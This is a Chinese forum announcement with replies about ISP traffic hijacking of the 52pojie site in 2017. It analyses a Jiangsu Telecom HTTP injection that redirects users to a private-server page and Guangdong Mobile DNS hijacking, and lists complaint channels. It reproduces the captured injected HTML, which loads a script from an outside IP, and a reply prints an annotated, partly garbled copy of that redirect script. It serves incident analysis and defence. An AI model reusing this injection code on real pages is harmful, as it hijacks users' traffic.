关于江苏电信用户访问跳转到私服页面问题和广东移动用户访问卡慢头像无法显示问题说明
关于江苏电信用户访问跳转到私服页面问题和广东移动用户访问卡慢头像无法显示问题说明(文字较长,请根据地区直接查看你可能遇到的问题和解决方案)一、江苏电信用户访问跳转到私服页面问题(江苏电信运营商劫持导致)
1、现象
从2017年8月2日晚间18点左右开始,论坛陆续收到用户反馈,访问论坛会跳转到http://scmy58.com/jj.html 私服页面
https://attach.52pojie.cn/forum/201708/03/082836zbtrdhbyzmxb6gfd.png
经过远程分析诊断,这次劫持和上次路由器劫持到私服不是一个问题,有上次的分析文章,简单从http头信息可以看到这次没有Server: wys信息。
【公告】访问吾爱破解被劫持到私服页面是“wayos维盟路由器”所为!
http://www.52pojie.cn/thread-622398-1-1.html
2、排查
开始通过十几个论坛的反馈用户看出来,统一的信息都是江苏省的电信用户,通过诊断日志看也没有特殊的问题,所以我们直接远程用户进行抓包分析
看到访问论坛首页整个包都被替换成劫持代码:
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Expires: 0
Cache-control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
Content-Length: 667
<!DOCTYPE HTML><html><head><title></title><script>(function(w){var a7= w.a7 || {} ;var d=document;a7.u = function() { var f = d.location.href; d.getElementById("m").src=f+(f.indexOf("&")<0?'?':'?')+'_t_t_t='+Math.random(); };w.a7 = a7;})(window);</script><style>body {margin:0;color:#000;overflow:hidden;padding:0;height:100%;font-family:Arial}#i{display:block; position:absolute; z-index:1; width:100%; height:100%}</style></head><body onLoad=a7.u()><div id=i><iframe id=m frameborder=0 width=100% height=100%></iframe></div><script type="text/javascript" src="http://118.89.163.236/js/sf.js?u=923253" charset="utf-8"></script></body></html>
从这代码看到劫持JS来自http://118.89.163.236/js/sf.js?u=923253,从这个JS中也可以清楚看到劫持代码会跳转到http://scmy58.com/jj.html ,并且会判断要劫持的域名,其中我们网站也包含在内:
劫持JS文件:
劫持JS的路径可以简单猜出,js是江苏的缩写,sf是私服的缩写,这个劫持JS存放的服务器位于天津市 腾讯云华北数据中心,我们第一时间向腾讯云安全反馈了劫持事件问题,他们跟进并确认了问题,将用来存放劫持JS的服务器做关停处理,但由于JS缓存时间很长,中招用户需要清空浏览器缓存才可以。
3、解决方案
A、清空浏览器缓存,重启浏览器访问。
通过远程用户抓包过程中清空缓存后就无法重现问题了,怀疑可能劫持者已经取消了劫持,但劫持JS的浏览器缓存时间很长,导致一直不失效,所以清空下浏览器缓存应该可以解决。
B、向本地电信运营商投诉解决。
直接打电信客户电话10000,告知访问网址www.52pojie.cn的时候,被劫持跳转到私服广告上,可以把这个分析的帖子发他们,让他们赶紧解决,不解决就到工信部投诉他们!
C、在微博投诉
直接在微博@中国电信 @中国电信客服 @江苏电信 @中国电信江苏客服 还有@自己地区的官方微博进行反馈,http://weibo.com/1780478695/BuAskzZmr 这是之前一个反馈,大家可以参考格式(反馈内容写B方案里的信息),发微博反馈的时候可以@吾爱破解论坛 ,官微收到消息会一并转发投诉!
D、工信部投诉
工信部对于这种运营商劫持一般都会处理,只要内容真实可信,下面是提供的投诉方式,大家填写的时候一定要写清楚真实内容,才会容易得到解决。
工信部投诉地址:
http://www.chinatcc.gov.cn:8080/cms/shensu/ 【请用IE浏览器打开】
工信部投诉电话【如果上面地址打不开可能连工信部的网址都给你劫持了,可以试试工作日内打投诉电话】:
010-12300
E、全站SSL本周上线。
对于这种劫持问题SSL可以解决,本周开始做线上测试,等上线后给大家发公告说明,对于下面这种劫持,SSL也无法解决。
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
二、广东移动用户访问卡慢头像无法显示问题说明(广东省移动运营商劫持导致)
1、现象
这个劫持已经有一段时间了,出现的用户基本全是广东省的移动用户,在访问论坛的时候只能显示页面头部,下半部分内容要很长时间才能出现,并且用户头像都无法显示,还有爱盘也无法访问。
2、排查
通过用户上传的诊断日志,我们可以清楚的发现avatar.52pojie.cn域名被移动DNS劫持到120.198.231.x 这个广东本地的移动IP段上,down.52pojie.cn被劫持到120.198.236.x这个段上,并没有解析到360网站卫士的移动节点IP 112.25.60.130上,拿一个用户的例子详情如下:
时间:2017年8月2日 08:05:31
用户IP:120.230.171.238
递归DNS:211.136.209.212
劫持avatar.52pojie.cn IP:120.198.231.19
劫持down.52pojie.cn IP:120.198.236.35
2个域名正确解析IP:112.25.60.130
简单统计了下之前一些用户的反馈,我们看到递归的DNS和IP都是广东移动本地的:
IP:120.197.57.6
用户递归DNS:211.136.209.212
解析avatar.52pojie.cn错误IP: 120.198.231.20
正确解析IP:112.25.60.130
用户ip:223.73.193.132
用户的递归DNS:211.136.209.171
解析avatar.52pojie.cn错误ip: 120.198.231.16
正确解析IP:112.25.60.130
用户的递归DNS:120.196.165.154
解析avatar.52pojie.cn错误ip: 120.198.231.19
正确解析IP:112.25.60.130
用户的递归DNS:120.196.165.242
解析avatar.52pojie.cn错误ip: 120.198.231.15
正确解析IP:112.25.60.130
avatar.52pojie.cn域名是我们存储用户头像、CSS和UC通信的域名,down.52pojie.cn域名是爱盘提供静态文件下载的,他们的共同点都是会有大量的静态文件请求。
经过远程用户分析,这些用户即使自定义DNS如114也是无法解决劫持IP问题的,因为DNS本身的IP也已经被移动劫持了,由于我们所有二级域名都启用了SSL加密,在被劫持用户那普通的http是可以访问的,但https全是无法访问,由此猜测,广东移动运营商劫持两个域名到移动内部服务器,是想做静态文件缓存减少外部流量的,但垃圾的是只支持http,并不支持https,但我们二级域名已经全部启用https,论坛头像链接全部是https的,导致移动劫持服务器无法工作,一直等访问超时后页面才能显示,导致劫持问题暴露。
3、解决方案
A、网络诊断工具强制修复一下。
临时用网络诊断修复工具(http://www.52pojie.cn/thread-209287-1-1.html)里的强制修复模式修复一下,通过HOST绑定IP进行临时访问,这个只是临时方案,最终还是需要通过下面的投诉方案解决。
B、向本地移动运营商投诉解决。
直接打移动客户电话10086,告知访问网址www.52pojie.cn的时候卡慢,原因是avatar.52pojie.cn和down.52pojie.cn域名被劫持,在https下无法访问,可以把这个分析的帖子发他们,让他们赶紧解决,不解决就到工信部投诉他们!
C、在微博投诉
直接在微博@中国移动10086 @中国移动 @广东移动10086官方微博 @广东移动 还有@自己地区的官方微博进行反馈,http://weibo.com/1780478695/BuAskzZmr 这是之前一个反馈,大家可以参考格式(反馈内容写B方案里的信息),发微博反馈的时候可以@吾爱破解论坛 ,官微收到消息会一并转发投诉!
D、工信部投诉
工信部对于这种运营商劫持一般都会处理,只要内容真实可信,下面是提供的投诉方式,大家填写的时候一定要写清楚真实内容,才会容易得到解决。
工信部投诉地址:
http://www.chinatcc.gov.cn:8080/cms/shensu/ 【请用IE浏览器打开】
工信部投诉电话【如果上面地址打不开可能连工信部的网址都给你劫持了,可以试试工作日内打投诉电话】:
010-12300
E、国家互联网应急中心投诉
http://www.cert.org.cn/publish/main/67/index.html
电话:(010)82990999; (010)82991000
Email:cncert@cert.org.cn
把脚本代码拆开来:
(function(window) {
var a7 = window.a7 || {};
a7.u = function() {
var url = document.location.href;
// 对应网页上的 <iframe id=m frameborder=0 width=100% height=100%></iframe>
// 修改为当前网址 + _t_t_t=xxx 防止缓存
// 同时高和宽修改为 100%,避免让用户发现不同。
// 但是可能之后开关被激活了,所以跳转到私服页面
document.getElementById("m").src = url + (url.indexOf("&") < 0 ? '?' : '?') + '_t_t_t=' + Math.random();
};
window.a7 = a7;
})(window);
// http://118.89.163.236/js/sf.js?u=923253
/* @Date: Tue Aug 01 2017 16:16:26 GMT+0800 (中国标准时间) */
const modules = {
m_0: 0,
config: 1,
cnzzTrack: 2,
cnzz: 3,
m_4: 4,
m_5: 5,
jQuery: 6,
fiz: 7,
m_8: 8,
};
!function(moduleList) {
var readyModules = {};
function require(moduleIndex) {
if (readyModules) {
return readyModules.exports;
}
var module = {
exports: {},
id: moduleIndex,
loaded: false
};
readyModules = module;
moduleList.call(module.exports, module, module.exports, require);
module.loaded = true;
return module.exports;
}
require.m = moduleList;
require.c = readyModules;
require.p = "";
return require(0);
}([function(module, exports, require) {
// module_0: cnzz 初始化 ?
"use strict";
require(modules.cnzzTrack); // 注入 cnzz 数据分析脚本
var c = require(modules.cnzz);
if (c) {
c.init(require(modules.config).gwd_cnzz);
require(modules.m_4).init();
}
}, function(module) {
// module_1
"use strict";
module.exports = {
modules: {},
version: 1501575382807,
browser: {},
debug: /gwdebug/.test(window.location.href),
extend: function(object) {
for (var key in object)
this = object;
}
};
}, function(module, exports, require) {
// module_2
"use strict";
var isMobile = false;
var platform = "pc";
if (window.navigator.appVersion.toLowerCase().match(/(?:iphone|android|linux|ipad|mobile|playbook|ipod)/)) {
isMobile = true;
platform = "mob";
}
var backupUrls = {
923253: "https://s22.cnzz.com/z_stat.php?id=1262189046&web_id=1262189046"
};
var urls = {
fds: {
pc: "",
mob: ""
},
// 35049714, 824033, 764050, 951261, 538625, 929733, 923253, 806720, 1329185
// 上面这几个 ID 都和下面这个有类似的地址,跳过
1098164: {
pc: "http://s11.cnzz.com/z_stat.php?id=1259968879&web_id=1259968879",
mob: "http://s11.cnzz.com/z_stat.php?id=1259968944&web_id=1259968944"
},
1052533823: {
mob: "https://s13.cnzz.com/z_stat.php?id=1262239273&web_id=1262239273"
}
};
// 若劫持页面未指定 ID 参数,则默认从当前脚本地址处获取。
var id = window.sdfwets;
if (!id) {
function getCurrentScript() {
// 尝试使用 HTML5 方法获取当前脚本元素
if (document.currentScript) return document.currentScript;
// 在不支持 HTML5 方法获取的情况下,一个一个查找。
var scripts = document.getElementsByTagName("script");
for (var i = 0; i < scripts.length; i++)
if (/(?:fds|sf)\.js/i.test(scripts.src))
return scripts;
}
var scriptTag = getCurrentScript();
if (scriptTag) {
var matches = scriptTag.src.match(/\/fds\.js\?u=(+)/i); // 福鼎市?
if (matches) {
id = matches;
} else {
matches = scriptTag.src.match(/\/sf\.js\?u=(+)/i); // 私服
if (matches) {
id = matches;
if (urls) {
// 修改地址;若为 923253 则修改地址为 backupUrls 的地址 (事实上也的确修改了,被替换的劫持代码就有)
urls.pc = backupUrls;
}
}
}
}
}
// 如果还是找不到,就用默认的 (空白)
if (!id) {
id = "fds";
}
var config = require(modules.config);
config.extend({
crc64: 1,
btype: "luyou",
device: platform,
ismobile: isMobile,
server: "http://router.jiageweishi.com",
unionUrl: "http://u.smartlinkclick.com/union/go",
from_device: id,
new_extension: true,
gwd_cnzz: urls && urls
});
}, function(module) {
// module_3
"use strict";
var trackTimer;
var scriptInjected;
var prev_category;
function injectScript(url) {
var head = document.getElementsByTagName("head");
var script = document.createElement("script");
script.src = url;
script.async = true;
script.defer = true;
script.language = "JavaScript";
head.appendChild(script);
scriptInjected = true;
}
module.exports.init = function(url) {
// 如果 url 是空的就不插入
if (url) {
injectScript(url);
}
};
module.exports.log = function(category, action, label, value, nodeid) {
function trackEvent () {
if (window._czc && window._czc.push) {
action = action || ".";
label = label || "";
window._czc.push(["_trackEvent", category, action, label, value, nodeid]);
prev_category = category;
}
}
// 首先要确保有脚本插入到页面至少一次
if (scriptInjected) {
// 如果事件与上次分类一致,则延时 300 毫秒;同时如果之前有同一类事件则取消上一次的事件。
if (prev_category === category) {
clearTimeout(trackTimer);
trackTimer = setTimeout(trackEvent, 300);
} else {
trackEvent();
}
}
};
}, function(w, c, require) {
"use strict";
// module_4
var config = require(modules.config);
w.exports.init = function() {
if ("923253" === config.from_device) {
require(modules.m_5).init("http://scmy58.com/jj.html");
}
};
}, function(module, exports, require) {
// module_5
"use strict";
var $ = require(modules.jQuery);
var cnzz = require(modules.cnzz);
require(modules.fiz);
var hosts = ['www.52pojie.cn' /* 一大堆域名,省略 */];
var currentHost = location.host;
var currentUrl = location.href;
module.exports.init = function(url) {
for(var i = 0; i < hosts.length; i++) {
// 如果当前地址包含列表里的域名,或者与当前域名匹配
if (currentUrl.indexOf(hosts) > -1 || hosts == currentHost) {
// 若域名或地址匹配,则记录 'directpage' 日志,并在 200 毫秒后跳转到指定的地址。
// 可能因为看到流量大所以就搞了?
cnzz.log("directpage");
setTimeout(function() {
location.href = url;
}, 200);
return ;
}
}
};
}, function(w, c, o) {
// module_6 (jQuery 前端框架,实际并没有用到其功能)
}, function(w, c, o) {
// module_7 (百度的 fis3 前端框架或其它的框架,没仔细看;实际并没有用到其功能。)
}, function(w, c) {
// module_8 渲染模板, 实际并没有没用到
w.exports = `<div id="imageAdQrcode" style="{{obj.style}}">
<a id="qrlink" target="_blank" href="{{obj.url}}">
<img src="{{obj.imgurl}}">
</a>
<span class="fds-close-btn fds-bg"></span>
<style type="text/css">
#imageAdQrcode {
position: fixed;
z-index: 9999999999999999;
}
#imageAdQrcode img {
height: auto;
max-height: 280px;
}
#qrlink {
display: inline-block;
height: auto;
max-height: 280px;
width: auto;
}
.fds-close-btn {
height: 20px;
width: 20px;
position: absolute;
right: -2px;
top: -2px;
cursor: pointer;
}
#imageAdQrcode .fds-bg {
background: url('http://readindex.bjcnc.scs.sohucs.com/banner/quanlogo_close.png') 0px 0px no-repeat;
}
</style>
</div>`;
}]);
`readindex.bjcnc.scs.sohucs.com` 这个域名里有一堆广告图片和购物党有关 (`gouwudang_01.png`~`gouwudang_05.png`),还有一些印业执照扫描件,其法定代表人都是同一个人。
其它的我也挖掘不到什么信息,就这样吧 \_(:3\_\_ 本帖最后由 Kevis 于 2017-8-3 14:19 编辑
清除游览器缓存后,就没有再跳到转私服网站了,但访问吾爱很慢呢。用fiddle抓包后,还是和Hmily论坛大牛写的一样,有劫持源存在的~准备打电话投诉了 已经打中国移动客服电话投诉了,而且强调了不处理就向工信部投诉。上次维盟劫持的也遇到了,这次广东移动的也遇到了。 关于清空浏览器缓存方式的解决有个小意见,浏览器ctrl+shift+R以及 ctrl+f5组合键 会向服务器发送Cache-Control: no-cache头,效果和清缓存一致。而浏览器除了访问吾爱还访问其它网站,难免有需要的缓存。 前排,第一次这么近 66666前排支持H大 老大杠杠的~~~~最近劫持很严重啊~~~~~ 中国的ISP太无耻了
有问题的同学可按照帖子中的解决方案进行解决与投诉{:17_1089:} 这究竟是 部分黑阔劫持的 还是运营商劫持的 电信就是个大流氓 我就说怎么访问这么慢,原来被劫持了